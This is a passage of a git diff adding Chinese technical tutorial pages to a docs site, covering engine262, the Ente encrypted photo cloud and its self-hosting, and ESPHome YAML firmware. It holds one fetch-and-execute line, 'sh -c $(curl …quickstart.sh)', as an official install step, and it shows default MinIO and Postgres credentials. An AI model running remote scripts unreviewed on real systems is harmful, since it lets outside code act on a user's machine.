| 规范符合、可实验 | 本文主角 | +| **V8 / SpiderMonkey** | C++ | 生产性能 | 规范参考实现,难改 | +| **Babel** | JavaScript | 转译新语法 | 不执行完整语义 | +| **QuickJS** | C | 轻量嵌入 | 生产向,非教学沙箱 | +| **Hermes** | C++ | RN 启动与内存 | 移动端字节码,非规范沙箱 | + +许多「用 JS 写 JS 解释器」的项目(如早期 educational interpreter)目标各异;engine262 **刻意贴规范**,不是最小玩具实现。 + +## 本地开发(想读源码时) + +克隆仓库后典型命令: + +```bash +git clone https://github.com/engine262/engine262.git +cd engine262 +npm install +npm run build # 编译 +npm run watch # 监听重编 +npm start # 启动 CLI +npm run test:test262 # 跑官方一致性测试(耗时可观) +npm run inspector # 启动带调试的前端站点 +``` + +读代码建议路径: + +1. `src/parser/` — 语法如何进 AST +2. `src/evaluator.mts` — `Evaluate` 与各语义算法 +3. `src/abstract-ops/` — `ToNumber`、`Get` 等抽象操作 +4. 对照 [tc39.es/ecma262](https://tc39.es/ecma262/) 同名算法阅读 + +## 常见误区 + +1. **「慢 = 实现差」** — 慢是设计取舍,不是 bug +2. **「能跑 test262 就能替代 Node」** — 不行;无完整 Node API、无原生模块生态 +3. **「和 Babel 重复」** — Babel 改 AST 输出新语法;engine262 执行规范语义,互补 +4. **「包名一定是 @engine262/engine262」** — 以 README 当前 npm 包名为准 + +## 学习路径建议 + +1. **先玩 CLI / 在线 playground**:建立「规范级执行」直觉 +2. **挑一个小特性对照规范读**:例如 `typeof null === 'object'` 在规范里如何定义 +3. **跑一小撮 test262**:看失败用例如何定位到 evaluator +4. **跟踪 TC39 提案**:看 engine262 上相关 PR 如何改 parser/evaluator + +## 小结 + +engine262 是 JavaScript 世界的**规范演练场**:用 JS 写 JS 的「法律条文执行器」,牺牲速度换取**语义透明、易改、可验证**。若你想回答「这门语言**规定**应该怎样」而不是「Chrome 里怎样最快」,它是零基础通往 ECMA-262 最友好的开源入口之一。 + +## 参考链接 + +- 仓库: +- 在线 Playground: +- ECMA-262 规范: +- test262 测试套件: +- npm(当前维护包名以 README 为准): diff --git a/src/content/docs/projects/ente.md b/src/content/docs/projects/ente.md new file mode 100644 index 000000000..7b97b94ed --- /dev/null +++ b/src/content/docs/projects/ente.md @@ -0,0 +1,310 @@ +--- +title: Ente — 端到端加密云相册与零知识备份 +来源: https://github.com/ente-io/ente +日期: 2026-06-13 +子分类: 安全与隐私 +分类: 安全与隐私 +provenance: pipeline-v3 +--- + +## 是什么 + +**Ente**([ente.io](https://ente.com))是一套完全开源、端到端加密(E2EE)的个人云存储平台。你在手机上拍的照片、2FA 令牌、重要文档,在离开设备之前就被加密成密文;服务器(代号 **Museum**)只负责搬运和计费,**读不懂**里面是什么。 + +日常类比: + +- **Google Photos / iCloud** = 把相册交给**带监控的托管仓库**:服务商技术上能看你的原图,用来做人脸识别、广告画像 +- **Ente** = 把已经**上锁的保险箱**寄到仓库:仓库只知道「有一个 4.2MB 的箱子」,不知道里面是婚礼照还是工资条 +- **Museum 服务器** = **收发室**:登记箱子编号、分配格子、开发票,但**没有保险箱钥匙** +- **masterKey(主密钥)** = 只有你自己持有的**万能钥匙**;密码只是用来再包一层锁,保护这把钥匙 + +同一套加密底座上,Ente 团队已经做了三款应用: + +| 产品 | 定位 | 收费 | +|------|------|------| +| **Ente Photos** | Google Photos / iCloud Photos 替代品 | 免费 10GB;付费扩容 | +| **Ente Auth** | 开源 2FA 验证器(Authy 替代) | 免费 | +| **Ente Locker** | 证件、笔记、凭证保险箱 | 免费 100 条;Photos 订阅用户 1000 条 | + +代码在 GitHub 单体仓库 [ente-io/ente](https://github.com/ente-io/ente)(AGPL-3.0),客户端以 **Flutter/Dart** 为主,服务端 **Museum** 是 **Go** 单二进制 + PostgreSQL + S3 兼容对象存储。官方托管在 ente.com;你也可以用 Docker 自建,客户端连自己的域名。 + +## 为什么重要 + +照片和 2FA 是最敏感的两类个人数据,却长期被「方便」绑在少数大厂生态里。Ente 的价值在于把 **隐私** 和 **体验** 放在同一层架构里解决,而不是事后打补丁: + +- **零知识(Zero-Knowledge)**:密钥派生、文件分块加密全在客户端;服务端被拖库也只能拿到密文 +- **跨平台一致**:iOS / Android / Web / macOS / Windows / Linux 共用同一套加密协议,不是「某端有 E2EE、某端没有」 +- **可审计**:Cure53、Symbolic Software 等第三方做过密码学审计;源码 AGPL,可 fork、可自建 +- **存储与算力解耦**:Museum 只管元数据和预签名 URL;大文件直传 [[minio]] / R2 / B2,服务器不当中转瓶颈 +- **一条账户多种数据**:Photos、Auth、Locker 共用 Museum,未来新应用无需重新注册 + +对工程师来说,Ente 是学 **libsodium 实战、密钥层级设计、S3 预签名直传、Flutter 多端同步** 的完整样本;对普通用户,它是「我仍要云备份,但不想把人生交给广告商」的可执行答案。 + +## 核心概念 + +### 1. 密钥层级(Key Encryption) + +注册时客户端生成随机 **masterKey**(256-bit),**永不以明文上传**。你设置的密码经 **Argon2id**(`crypto_pwhash`)派生出 **keyEncryptionKey**,只用来加密 masterKey: + +``` +密码 + salt + └─> keyEncryptionKey (Argon2id) + └─> 加密 masterKey → encryptedMasterKey(存服务器) + +masterKey + └─> 加密 collectionKey(相册/文件夹) + └─> 加密 fileKey(单张照片) + └─> 加密文件内容与元数据(EXIF、文件名等) +``` + +登录时流程反过来:服务器下发 `encryptedMasterKey`,你用密码派生的 key 解密;密码错了解密失败,客户端立刻知道,**无需**把密码发到服务器比对明文。 + +此外还有: + +- **recoveryKey**:与 masterKey 互相加密备份,用于忘记密码时恢复 +- **publicKey / privateKey**:Curve25519 密钥对;`publicKey` 明文存服务器,用于相册分享和加密下发的 `authToken` +- **Verification ID**:`publicKey` 的 SHA-256 转成 BIP39 助记词,两人在分享前对照,防中间人冒充 + +### 2. 数据模型:Collection 与 File + +- **Collection**:文件夹或相册(如「相机胶卷」「旅行 2025」),各有随机 **collectionKey** +- **File**:每张照片/视频有独立 **fileKey**;元数据也用同一 fileKey 加密 +- 上传时:文件用 **XChaCha20-Poly1305 流式 API**(`crypto_secretstream_*`)分块加密,适合大视频;小密钥用 **XSalsa20-Poly1305**(`crypto_secretbox`) + +下载时按层级逐级解密,任何一层密钥缺失都无法恢复内容——这就是「零知识」的工程实现。 + +### 3. Museum:数据无关的 API 服务器 + +Museum 故意对业务数据**保持盲态**: + +1. 客户端请求上传 → Museum 生成 **S3 预签名 URL** 并返回 +2. 客户端**直传**密文到对象存储(默认 bundled MinIO,也可接 Cloudflare R2、Wasabi 等) +3. 上传完成后客户端通知 Museum;Museum 用 `HeadObject` 校验对象存在,更新数据库里的加密元数据 + +因此架构上是 **三跳**:Client ↔ Museum ↔ PostgreSQL(加密元数据)+ S3(密文 blob)。官方托管还把数据复制到 **3 个不同云厂商** 的区域,自建通常单副本,需自己备份 `museum.yaml` 和卷。 + +### 4. 分享与协作 + +分享相册时,发送方用接收方的 **publicKey**(`crypto_box_seal`)加密 `collectionKey`,服务器只转发密文。接收方用自己的 **privateKey** 解开,再按 File 层级解密照片。双方可在 UI 对照 **Verification ID**,确认端到端路径没有被换公钥。 + +### 5. Ente Auth 的平行结构 + +2FA 令牌不走 fileKey,而使用 **tokenKey** + **authKey**(再由 masterKey 保护),逻辑与 Photos 同构,所以 Museum 无需为 Auth 单独写一套存储后端。 + +### 6. 技术栈一览 + +| 层 | 技术 | +|----|------| +| 密码学 | [libsodium](https://libsodium.gitbook.io/doc/)(XChaCha20、Argon2id、X25519) | +| 客户端 | Flutter(移动/桌面)、TypeScript(Web) | +| 服务端 | Go(Museum 单二进制) | +| 数据库 | PostgreSQL | +| 对象存储 | S3 兼容(MinIO / R2 / B2 / AWS) | +| 部署 | Docker Compose、`quickstart.sh` 一键脚本 | +| 许可 | AGPL-3.0 | + +## 代码示例 + +### 示例 1:本地启动自建 Museum 集群 + +在 `ente/server` 目录克隆仓库后,一条命令拉起 API、Web、Postgres、MinIO: + +```bash +git clone https://github.com/ente-io/ente.git +cd ente/server +docker compose up --build +``` + +健康检查: + +```bash +curl http://localhost:8080/ping +# 期望返回 pong(改过 healthcheck.go 可能是 kong) +``` + +服务端口(默认 quickstart / compose): + +| 服务 | 端口 | 用途 | +|------|------|------| +| Museum | `:8080` | REST API | +| Web | `:3000` | Ente Photos 网页端 | +| Albums | `:3002` | 公开相册链接 | +| MinIO | `:3200` | S3 兼容存储 | + +浏览器打开 `http://localhost:3000` 注册账号;邮件验证码在 `docker compose logs` 里查看(自建无真实 SMTP 时)。这与 [[docker]]、[[minio]] 的组合是自建 Ente 最常见的入门路径。 + +更省事的一键脚本(无需 clone,用预构建镜像): + +```bash +sh -c "$(curl -fsSL https://raw.githubusercontent.com/ente-io/ente/main/server/quickstart.sh)" +# 在当前目录生成 my-ente/,含 compose.yaml 与自动生成的 museum.yaml +cd my-ente && docker compose up -d +``` + +### 示例 2:自建时配置 Museum 的 S3 端点(`museum.yaml` 节选) + +手机/另一台电脑上传失败,**最常见原因**是 MinIO 的 `endpoint` 写成了 `localhost`——Museum 会把该地址写进预签名 URL,手机上的 `localhost` 指向手机自己,上传静默失败。应改成局域网 IP 或公网域名: + +```yaml +# my-ente/museum.yaml(节选) +db: + host: postgres + port: 5432 + name: ente_db + user: pguser + password: pgpass + +s3: + are_local_buckets: true + use_path_style_urls: true # MinIO 需要 path-style + b2-eu-cen: + key: minioadmin + secret: minioadmin + endpoint: 192.168.1.100:3200 # 勿用 localhost,除非客户端与服务器同机 + region: eu-central-2 + bucket: b2-eu-cen +``` + +改完后 `docker compose up -d` 重启。若前面有 [[nginx]] 反代 HTTPS,将 `are_local_buckets` 设为 `false` 并配置外部 `endpoint`(如 `s3.example.com`)。 + +### 示例 3:自托管环境的 Ente CLI + +CLI 不能注册新用户,但可登录已有账号、导出明文备份、管理订阅配额: + +```yaml +# ~/.ente/config.yaml +endpoint: + api: https://photos.example.com # 你的 Museum 地址 +``` + +```bash +ente account add +# 按提示登录;导出目录用于解密后的本地备份 + +# 自托管管理员给某用户「无限容量」(须在 museum.yaml 白名单 admin 邮箱) +ente admin update-subscription \ + -a admin@example.com \ + -u user@example.com \ + --no-limit +``` + +### 示例 4:用 libsodium 理解「上传前加密」伪代码 + +Ente 真实实现分布在 Flutter/TS 客户端,但层级与官方 [architecture/README.md](https://github.com/ente-io/ente/blob/main/architecture/README.md) 一致。下面用 Node [`libsodium-wrappers`](https://www.npmjs.com/package/libsodium-wrappers) 演示**核心思想**(教学用,非生产代码): + +```javascript +import _sodium from 'libsodium-wrappers' + +await _sodium.ready +const sodium = _sodium + +// 注册时:生成 masterKey,用密码派生的 key 加密后上传服务器 +const masterKey = sodium.crypto_secretbox_keygen() +const salt = sodium.randombytes_buf(sodium.crypto_pwhash_SALTBYTES) +const keyEncryptionKey = sodium.crypto_pwhash( + 32, + 'user-password', + salt, + sodium.crypto_pwhash_OPSLIMIT_SENSITIVE, + sodium.crypto_pwhash_MEMLIMIT_SENSITIVE, + sodium.crypto_pwhash_ALG_ARGON2ID13, +) +const nonce = sodium.randombytes_buf(sodium.crypto_secretbox_NONCEBYTES) +const encryptedMasterKey = sodium.crypto_secretbox_easy( + masterKey, + nonce, + keyEncryptionKey, +) + +// 上传照片:fileKey 加密明文,再用 collectionKey 包 fileKey +const fileKey = sodium.crypto_secretbox_keygen() +const collectionKey = sodium.crypto_secretbox_keygen() +const photoBytes = new TextEncoder().encode('JPEG bytes…') +const fileNonce = sodium.randombytes_buf(sodium.crypto_secretbox_NONCEBYTES) +const ciphertext = sodium.crypto_secretbox_easy(photoBytes, fileNonce, fileKey) +const wrappedFileKey = sodium.crypto_secretbox_easy(fileKey, fileNonce, collectionKey) + +// 只有 ciphertext + wrappedFileKey + 加密元数据 上传 Museum/S3 +// 服务器无法从 ciphertext 反推 photoBytes +``` + +要点:**明文 photoBytes 与 masterKey 从不离开受信客户端**;服务器只见 `ciphertext` 和一堆被包装的密钥材料。 + +## 实践案例 + +### 案例 1:从 Google Photos 迁到 Ente Photos + +1. 在 [Google Takeout](https://takeout.google.com) 导出相册(可选 ZIP) +2. 安装 Ente 桌面端或打开 Web,登录 ente.com 或自建实例 +3. 设置 → Import → 选择 Google Takeout / Apple Photos / Amazon Photos 等向导 +4. 开启「备份所选相册」:新照片后台自动上传,原画质保留 EXIF、Live Photo + +迁移期间 Ente 在本地加密后再传,Google 侧导出的是明文,注意导出链接的有效期和磁盘空间。 + +### 案例 2:家庭相册协作 + +创建相册 → 邀请家人邮箱 → 对方接受后可用 Ente 查看/往相册加图。协作权限在加密层通过分享 `collectionKey` 实现,不是服务器侧「开文件夹权限」。见面前可对照双方 App 里的 **Verification ID**,确认公钥未被替换。 + +### 案例 3:2FA 从 Authy 迁到 Ente Auth + +Authy 停服或闭源后,Ente Auth 提供带云备份的开源 2FA。扫码添加令牌后,`tokenKey` 层级加密同步;换机时同 Photos 一样用邮箱 + 密码恢复 **masterKey**,再解密令牌库。 + +## 踩过的坑 + +**自建 `localhost` 端点**:上文已述,手机上传失败优先查 `museum.yaml` 的 S3 `endpoint` 和 CORS。 + +**删掉 `my-ente` 文件夹不等于删数据**:Docker volume 仍在;要彻底重来用 `docker compose down --volumes`,**会永久删除照片**。 + +**丢失 `museum.yaml` 与 recoveryKey**:加密数据在卷里但无法解密元数据路由;务必备份自动生成的凭证和注册时保存的 **recoveryKey**。 + +**AGPL 自建分发**:修改 Museum 并提供网络服务时,需按 AGPL 开源修改;内部自用风险较低,商用需读许可证。 + +**自托管支持优先级**:官方文档写明工程带宽有限,Issue 里纯自建问题可能不被优先处理;社区 [Discussions](https://github.com/ente-io/ente/discussions) / Discord 互助更现实。 + +**语义搜索 / ML**:部分智能功能在设备端或受 E2EE 约束的方式实现,与 Google Photos 全知全能的云端 ML 不同,预期要调整。 + +## 与同类方案对比 + +| 维度 | Ente Photos | Immich | Google Photos | +|------|-------------|--------|---------------| +| E2EE / 零知识 | ✅ 默认 | ❌ 服务器可读 | ❌ | +| 开源 | ✅ AGPL | ✅ AGPL | ❌ | +| 自建 | ✅ Museum | ✅ | ❌ | +| 云端 ML 人脸/物体 | 设备端/受限 | ✅ 服务端 | ✅ | +| 最低自建 RAM | ~1GB 级 | 常需 2GB+ | N/A | + +若你最在意**服务商看不到原图**,Ente 几乎是主流相册里唯一把 E2EE 当一等公民的;若最在意**自建上的 AI 相册管理**,[[immich]] 更合适。二者可并存:敏感相册 Ente,实验性图库 Immich。 + +## 历史小故事 + +- **2022-11**:`ente-io/ente` 单体仓库公开,以 Photos 为主打 +- **2023-2024**:Ente Auth 随 Authy 动荡而增长;密码学架构文档与 Cure53 审计公开 +- **2025-2026**:Ente Locker、公开相册独立端口、quickstart 脚本降低自建门槛;GitHub star 逾 2.7 万 +- 团队把 API 服务器命名为 **Museum**——「个人照片比任何艺术品都珍贵」,却只需一个 Go 二进制就能运行 + +## 学到什么 + +- **密钥层级**比「整库一个密码」更安全:单文件 fileKey 泄露不拖垮整个账户;轮换 collectionKey 时可细粒度重加密 +- **预签名直传**是零知识云的标配:Museum 不碰密文 bytes,才能证明「服务器没看到内容」 +- **libsodium 高级 API** 比手写 AES 模式靠谱:`crypto_secretstream` 处理大文件,`crypto_box_seal` 处理分享 +- **协议兼容对象存储**(S3)让 Ente 自建成本与 [[minio]] / R2 绑定,不必锁定某一家云 +- **一个盲态 API 多种产品**:Auth、Locker、Photos 共用 Museum,是平台型 E2EE 的正确切法 + +## 延伸阅读 + +- 官方架构说明:[ente.com/architecture](https://ente.com/architecture) / [GitHub architecture/README.md](https://github.com/ente-io/ente/blob/main/architecture/README.md) +- 自建指南:[ente.com/help/self-hosting](https://ente.com/help/self-hosting) +- Museum 运行文档:[server/RUNNING.md](https://github.com/ente-io/ente/blob/main/server/RUNNING.md) +- 密码学审计博文:[ente.com/blog/cryptography-audit](https://ente.com/blog/cryptography-audit/) +- 可靠性(三云复制):[ente.com/reliability](https://ente.com/reliability) + +## 关联 + +- [[minio]] —— Ente 自建默认 bundled MinIO;生产可换任意 S3 兼容后端 +- [[bitwarden-server]] —— 同为「客户端加密 + 服务端盲存」范式,可对比密钥派生与微服务拆分 +- [[nextcloud-server]] —— 传统自建网盘路线;默认非 E2EE,与 Ente 定位互补 +- [[docker]] —— Museum 官方推荐 Docker Compose 部署路径 + +## 反向链接 + + diff --git a/src/content/docs/projects/esphome.md b/src/content/docs/projects/esphome.md new file mode 100644 index 000000000..24644c470 --- /dev/null +++ b/src/content/docs/projects/esphome.md @@ -0,0 +1,357 @@ +--- +title: ESPHome — 用 YAML 给 ESP 芯片写「说明书」的固件工厂 +来源: 'https://github.com/esphome/esphome' +日期: '2026-06-13' +子分类: 嵌入式 +分类: 操作系统 +难度: 初级 +provenance: pipeline-v3 +--- + +## 日常类比:给电工一张「接线清单」,工厂自动造遥控器 + +想象你要在阳台装一个温湿度计,顺便控制除湿机开关。传统做法是: + +1. 买一块 ESP32 开发板; +2. 打开 Arduino IDE,写 C++,调 Wi-Fi 库、MQTT 库、传感器驱动; +3. 烧录、改 bug、再烧录; +4. 最后在 Home Assistant 里手动建实体、对 MQTT 主题。 + +**ESPHome 换了一种思路**:你不写程序,只写一份 **YAML「接线清单」**——「D4 脚接 DHT22,每 60 秒读一次温湿度;GPIO5 接一个开关,名字叫阳台除湿机」。ESPHome 把这份清单 **编译成定制固件**,刷进芯片;设备连上 Wi-Fi 后,通过 **Native API** 主动推状态给 [[home-assistant]],实体自动出现在仪表盘里。 + +类比延伸: + +| 现实世界 | ESPHome 对应 | +| --- | --- | +| 接线图 + 功能说明 | `.yaml` 配置文件 | +| 工厂按图生产电路板 | `esphome compile` 生成固件 | +| 第一次 USB 装机 | 首次 `esphome run` / Web Flasher | +| 以后远程换程序 | OTA(Over-The-Air)无线更新 | +| 物业前台登记设备 | Home Assistant 自动发现 / 添加 ESPHome 集成 | + +ESPHome 由 Home Assistant 生态团队(Nabu Casa / Open Home Foundation)维护,GitHub 仓库 [esphome/esphome](https://github.com/esphome/esphome)。它 **不依赖云端**:配置、编译、运行都在你的局域网;和 [[home-assistant]] 是「黄金搭档」,也可单独用 CLI 或 Docker 管理节点。 + +--- + +## 解决什么问题 + +| 痛点 | 裸写嵌入式时 | ESPHome 的回应 | +| --- | --- | --- | +| 开发门槛高 | C++、内存、看门狗、Wi-Fi 重连都要自己管 | 声明式 YAML,框架生成样板代码 | +| 与 HA 对接繁琐 | 自建 MQTT 主题、Discovery、加密 | Native API 推送,实体自动注册 | +| 维护成本高 | 改一行逻辑要重新熟悉整个 sketch | 改 YAML → 编译 → OTA,版本可 Git 管理 | +| 硬件碎片化 | 每种传感器 copy 一份驱动代码 | 600+ 组件,统一配置语法 | +| 密钥泄露风险 | Wi-Fi 密码写死在仓库里 | `secrets.yaml` + `!secret` 标签 | + +核心问题:**如何用一份人类可读的配置,把廉价 MCU(ESP32/ESP8266/BK72xx/RP2040 等)变成可 OTA、可本地集成、可长期维护的智能家居节点?** + +--- + +## ESPHome 在智能家居栈中的位置 + +``` +┌─────────────────────────────────────────────────────────────┐ +│ Home Assistant Core — 自动化、仪表盘、语音 │ +│ ▲ Native API(加密、推送,默认端口 6053) │ +├─────────┴───────────────────────────────────────────────────┤ +│ ESPHome 节点(每块板子一份 YAML → 一份固件) │ +│ ┌─────────┐ ┌─────────┐ ┌─────────┐ │ +│ │ 温湿度 │ │ 继电器 │ │ 毫米波 │ … │ +│ │ ESP32 │ │ ESP8266 │ │ ESP32-C3│ │ +│ └────┬────┘ └────┬────┘ └────┬────┘ │ +│ │ 传感器/执行器/GPIO/I2C/SPI/UART │ +└───────┴───────────────────────────────────────────────────────┘ + +侧路工具链: + ESPHome Device Builder(HA 加载项 / Docker Web UI) + CLI:`esphome run`、`compile`、`upload`、`logs` + 浏览器首次刷机:web.esphome.io +``` + +与 [[openhab]]、[[home-assistant]] 等「中枢」不同,ESPHome 专注 **边缘节点固件**。中枢负责编排;ESPHome 负责让 **单块板子** 可靠地上报状态、执行开关动作。 + +--- + +## 核心概念 + +### 1. 配置(Configuration)与节点(Node) + +- **一份 YAML = 一个节点**(一台物理板子)。文件名常叫 `porch-sensor.yaml`,其中 `esphome.name` 决定主机名(如 `porch-sensor.local`)。 +- 配置由多个 **顶层块** 组成:`esphome`、`esp32`/`esp8266`、`wifi`、`logger`、`api`、`ota`,以及 `sensor`、`switch`、`binary_sensor` 等 **组件块**。 +- 块顺序通常 **不影响语义**;ESPHome 先读完整个文件再校验、生成代码。 + +### 2. 平台(Platform)与板型(Board) + +- **Platform**:芯片系列,如 `esp32:`、`esp8266:`。 +- **Board**:具体开发板型号,如 `esp32dev`、`nodemcuv2`,影响默认引脚映射(可写 `D1` 代替 `GPIO5`)。 +- 近年还支持 BK72xx、RP2040、RTL87xx、nRF52 等;选型以 [官方支持列表](https://esphome.io/) 为准。 + +### 3. 组件(Component)与实体(Entity) + +- **Component**:YAML 里的一种设备抽象,例如 `sensor`、`switch`、`light`、`climate`。 +- 每个组件下用 **platform** 指定驱动,如 `platform: dht`、`platform: gpio`。 +- 带 `name:` 的条目会在 Home Assistant 里变成 **实体**(如 `sensor.porch_temperature`)。 + +### 4. 基础设施块(几乎每个项目都要有) + +| 块 | 作用 | +| --- | --- | +| `wifi` | SSID、密码、可选 AP 热点、`captive_portal` | +| `logger` | 串口 / 网络日志,调试生命线 | +| `api` | Home Assistant Native API;建议开 `encryption.key` | +| `ota` | 无线刷机;可设密码或复用 API 加密 | +| `web_server` | 可选,板载简易网页 | + +### 5. 编译与烧录流程 + +1. **validate**:检查 YAML 语法、引脚冲突、组件依赖。 +2. **compile**:生成 C++ 工程并用 PlatformIO 交叉编译。 +3. **upload**:首次常走 USB;之后走 **OTA**。 +4. **logs**:`esphome logs xxx.yaml` 看运行输出。 + +命令行等价于在 Device Builder 里点 Install / Wirelessly。 + +### 6. 与 Home Assistant 的对接 + +- 设备上线且 API 可达后,HA 常通过 **mDNS 自动发现**(`xxx.local`)。 +- 手动添加:设置 → 设备与服务 → ESPHome → 输入 IP 或主机名 + **Noise PSK**(与 YAML 里 `api.encryption.key` 一致)。 +- 通信是 **本地加密长连接**,状态变化 **推送**,不是轮询 MQTT。 + +### 7. 配置进阶能力 + +- **`!secret`**:从 `secrets.yaml` 读 Wi-Fi、API 密钥,避免进 Git。 +- **`substitutions`**:全局变量,方便同一模板刷多块板。 +- **`packages:` / `!include`**:拆分大项目、复用片段。 +- **`!lambda`**:嵌入小段 C++,做 YAML 表达不了的逻辑(见下方示例)。 + +--- + +## 从零开始:三种入口 + +| 方式 | 适合谁 | 第一步 | +| --- | --- | --- | +| Home Assistant 加载项 | 已跑 HA,想图形化管理 | 安装 **ESPHome Device Builder**,向导新建设备 | +| CLI | 熟悉终端、CI 批量编译 | `pip install esphome` → `esphome wizard livingroom.yaml` | +| Docker | 不想污染本机 Python | `docker run ... ghcr.io/esphome/esphome wizard` | + +首次烧录: + +- **USB**:`esphome run config.yaml`(自动 compile + upload + logs)。 +- **浏览器**:打开 [web.esphome.io](https://web.esphome.io/),选板型、粘贴 YAML 或导入。 + +--- + +## 代码示例一:最小可用节点 + DHT22 温湿度 + +下面是一份 **完整可编译** 的入门配置:ESP32 连 Wi-Fi,通过 API 对接 HA,每 60 秒读 DHT22。 + +```yaml +esphome: + name: porch-sensor + friendly_name: 阳台环境传感器 + +esp32: + board: esp32dev + framework: + type: arduino + +wifi: + ssid: !secret wifi_ssid + password: !secret wifi_password + ap: + ssid: "Porch Fallback" + password: !secret ap_password + +captive_portal: + +logger: + +api: + encryption: + key: !secret api_encryption_key + +ota: + - platform: esphome + password: !secret ota_password + +sensor: + - platform: dht + pin: GPIO4 + model: DHT22 + temperature: + name: "阳台温度" + unit_of_measurement: "°C" + humidity: + name: "阳台湿度" + unit_of_measurement: "%" + update_interval: 60s +``` + +配套 `secrets.yaml`(与 YAML 同目录,**不要提交到公开仓库**): + +```yaml +wifi_ssid: "你的WiFi名" +wifi_password: "你的WiFi密码" +ap_password: "fallback123" +api_encryption_key: "从 esphome wizard 生成的 base64 密钥" +ota_password: "ota123" +``` + +**读这段配置时看什么:** + +- `esphome.name` → mDNS 主机名 `porch-sensor.local`。 +- `wifi.ap` + `captive_portal` → 连不上家 Wi-Fi 时板子开热点,手机可配网。 +- `sensor.platform: dht` 一行声明,自动生成两个 HA 实体。 +- `update_interval` 控制采样频率,平衡精度与功耗。 + +编译上传: + +```bash +esphome run porch-sensor.yaml +``` + +--- + +## 代码示例二:GPIO 开关 + 门窗磁 + 简单 Lambda 逻辑 + +第二份示例展示 **执行器 + 输入 + 轻量逻辑**:GPIO 控制除湿机;窗口磁簧触发时,在日志里标记并可配合 HA 自动化关开关。 + +```yaml +esphome: + name: balcony-controller + friendly_name: 阳台控制器 + +esp8266: + board: nodemcuv2 + +wifi: + ssid: !secret wifi_ssid + password: !secret wifi_password + +logger: + level: INFO + +api: + encryption: + key: !secret api_encryption_key + +ota: + +switch: + - platform: gpio + name: "阳台除湿机" + pin: GPIO5 + id: dehumidifier + restore_mode: RESTORE_DEFAULT_OFF + +binary_sensor: + - platform: gpio + name: "阳台窗户" + pin: + number: GPIO0 + mode: + input: true + pullup: true + inverted: true + on_press: + - logger.log: "窗户打开" + - switch.turn_off: dehumidifier + on_release: + - logger.log: "窗户关闭" + +sensor: + - platform: template + name: "除湿机状态摘要" + lambda: |- + if (id(dehumidifier).state) { + return {"运行中"}; + } else { + return {"已停止"}; + } + update_interval: 30s +``` + +要点说明: + +- **`switch.platform: gpio`**:最常用继电器/ MOSFET 控制;`restore_mode` 决定重启后默认开还是关。 +- **`binary_sensor`**:`inverted: true` 常表示磁簧 **常闭** 接线;`pullup` 启用内部上拉。 +- **`on_press` / `on_release`**:ESPHome 内置 **自动化**,在设备端即时响应,不经过 HA 也能执行(延迟更低)。 +- **`template` + `!lambda`**:返回字符串供 HA 显示;复杂场景可返回数值参与本地逻辑。 + +在 Home Assistant 里可再写一条自动化:「`binary_sensor.阳台窗户` 打开 → 通知手机」,与设备端 `turn_off` **叠加**,形成云边协同。 + +--- + +## 常用 CLI 命令速查 + +| 命令 | 用途 | +| --- | --- | +| `esphome wizard foo.yaml` | 交互式生成首份配置 | +| `esphome config foo.yaml` | 仅校验,不编译 | +| `esphome compile foo.yaml` | 编译固件到 `.esphome/build/` | +| `esphome upload foo.yaml` | OTA / USB 上传 | +| `esphome run foo.yaml` | 校验 + 编译 + 上传 + 日志 | +| `esphome logs foo.yaml` | 查看设备输出(含 Wi-Fi IP) | +| `esphome clean foo.yaml` | 清理构建缓存 | + +Docker 用户把当前目录挂载为 `/config`,命令形如: + +```bash +docker run --rm -v "${PWD}":/config -it ghcr.io/esphome/esphome run porch-sensor.yaml +``` + +--- + +## 调试与排错清单 + +| 现象 | 常见原因 | 建议 | +| --- | --- | --- | +| 编译报 YAML 缩进错误 | 混用 Tab、列表 `-` 不对齐 | 用 2 空格;IDE 开 YAML 插件 | +| 上传失败 | USB 驱动、端口占用、供电不足 | 换线、换口;5V 稳定电源 | +| 连不上 Wi-Fi | 2.4G 频段、密码错误、信号弱 | ESP 多数 **不支持 5G-only** 路由 | +| HA 发现不了设备 | mDNS 被隔离(访客网络) | 手动填 IP;保证 HA 与 ESP 同网段 | +| API 连接失败 | 加密密钥不一致 | 核对 `api.encryption.key` 与 HA 集成里 PSK | +| 随机重启 | 电源纹波、看门狗、堆栈 | 加大电容;查 `logs` 里 Guru Meditation | +| 传感器读数 NaN | 接线错、上拉缺失、GPIO 冲突 | 对照板型引脚图;I2C 加 4.7k 上拉 | +| OTA 反复失败 | 固件体积过大、Wi-Fi 不稳定 | USB 刷一次;靠近路由器 | + +--- + +## 和相邻方案怎么选 + +| 方案 | 特点 | 何时考虑 | +| --- | --- | --- | +| **ESPHome + HA** | YAML、OTA、Native API、生态最大 | 已用或计划用 Home Assistant | +| **Tasmota** | 刷机快、MQTT 成熟、模板多 | 重度 MQTT、不用 HA Native API | +| **Arduino 自写** | 自由度最高 | 算法重、量产定制、ESPHome 无组件 | +| **Zigbee/Z-Wave 成品** | 免刷机、Mesh | 不想维护固件,接受更高单价 | + +若你的目标是 **「几块 ESP 板子 + 本地 homeassistant + 长期 OTA」**,ESPHome 通常是阻力最小的路径。 + +--- + +## 学习路径建议(零基础) + +1. **硬件**:先买 ESP32 DevKit + USB 线;加一个 DHT22 或继电器模块练手。 +2. **软件**:HA 用户直接装 Device Builder;否则 `pip install esphome` + `wizard`。 +3. **第一份 YAML**:复制本文示例一,改 `name` 和引脚,跑通 `esphome run`。 +4. **对接 HA**:确认实体出现;用仪表盘加一个温湿度卡片。 +5. **加执行器**:示例二开关 + 磁簧;在 HA 写一条简单自动化。 +6. **读官方组件页**:需要什么传感器,就搜 [esphome.io/components](https://esphome.io/components/) 复制官方片段。 +7. **工程化**:`secrets.yaml`、Git 管理配置、命名规范(`room-device-function`)。 + +--- + +## 延伸阅读 + +- 官方文档:[Getting Started with ESPHome](https://esphome.io/guides/getting_started_hassio.html) +- YAML 语法与 `!include`:[YAML Configuration](https://esphome.io/guides/yaml.html) +- Home Assistant 集成说明:[ESPHome Integration](https://www.home-assistant.io/integrations/esphome/) +- 同生态中枢笔记:[[home-assistant]]、[[openhab]] +- 预配置项目灵感:[devices.esphome.io](https://devices.esphome.io/) + +--- + +## 小结 + +ESPHome 把「写固件」变成「写配置」:YAML 描述硬件与行为,工具链生成 C++ 并 OTA 维护,Native API 让 [[home-assistant]] 即插即用。零基础只需记住 **一份 YAML、一次 USB、以后全 OTA**;进阶再学 `packages`、lambda 与多节点命名规范。对于想亲手做传感器、又不深陷嵌入式细节的人来说,它相当于 **智能家居领域的 Dockerfile + 编译器**——声明要什么,系统帮你造出来。 diff --git a/src/content/docs/projects/espurna.md b/src/content/docs/projects/espurna.md new file mode 100644 index 